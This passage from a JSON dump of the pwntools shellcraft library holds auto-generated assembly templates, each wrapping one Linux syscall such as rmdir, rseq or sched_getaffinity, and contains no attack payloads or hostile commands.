we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_reserved82']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_reserved82'])\n%>\n    /* reserved82(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/restart_syscall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>restart_syscall() -> str\n\nInvokes the syscall restart_syscall.\n\nSee 'man 2 restart_syscall' for more information.\n\nArguments:\n\nReturns:\n    int\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_restart_syscall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_restart_syscall'])\n%>\n    /* restart_syscall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/riscv_flush_icache.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>riscv_flush_icache(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall riscv_flush_icache.\n\nSee 'man 2 riscv_flush_icache' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_riscv_flush_icache']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_riscv_flush_icache'])\n%>\n    /* riscv_flush_icache(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/rmdir.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>rmdir(path) -> str\n\nInvokes the syscall rmdir.\n\nSee 'man 2 rmdir' for more information.\n\nArguments:\n    path(char*): path\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['path']\n    argument_values = [path]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rmdir']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rmdir'])\n%>\n    /* rmdir(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/rseq.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>rseq(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall rseq.\n\nSee 'man 2 rseq' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rseq']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rseq'])\n%>\n    /* rseq(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/rtas.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>rtas(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall rtas.\n\nSee 'man 2 rtas' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rtas']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rtas'])\n%>\n    /* rtas(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_get_priority_max.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_get_priority_max(algorithm) -> str\n\nInvokes the syscall sched_get_priority_max.\n\nSee 'man 2 sched_get_priority_max' for more information.\n\nArguments:\n    algorithm(int): algorithm\nReturns:\n    int\n</%docstring>\n<%page args=\"algorithm=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['algorithm']\n    argument_values = [algorithm]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_get_priority_max']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_get_priority_max'])\n%>\n    /* sched_get_priority_max(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_get_priority_min.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_get_priority_min(algorithm) -> str\n\nInvokes the syscall sched_get_priority_min.\n\nSee 'man 2 sched_get_priority_min' for more information.\n\nArguments:\n    algorithm(int): algorithm\nReturns:\n    int\n</%docstring>\n<%page args=\"algorithm=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['algorithm']\n    argument_values = [algorithm]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_get_priority_min']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_get_priority_min'])\n%>\n    /* sched_get_priority_min(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_getaffinity.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_getaffinity(pid, cpusetsize, cpuset) -> str\n\nInvokes the syscall sched_getaffinity.\n\nSee 'man 2 sched_getaffinity' for more information.\n\nArguments:\n    pid(pid_t): pid\n    cpusetsize(size_t): cpusetsize\n    cpuset(cpu_set_t*): cpuset\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, cpusetsize=0, cpuset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'cpusetsize', 'cpuset']\n    argument_values = [pid, cpusetsize, cpuset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sched_getaffinity']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sched_getaffinity'])\n%>\n    /* sched_getaffinity(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sched_getattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sched_getattr(pid, attr, size, flags) -> str\n\nInvokes the syscall sched_getattr.\n\nSee 'man 2 sched_getattr' for more information.\n\nArguments:\n    pid(pid_t): pid\n    attr(sched_attr*): attr\n    size(unsigned): size\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, attr=0, size=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'attr', 'size', 'flags']\n    argument_values = [pid, attr, size, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                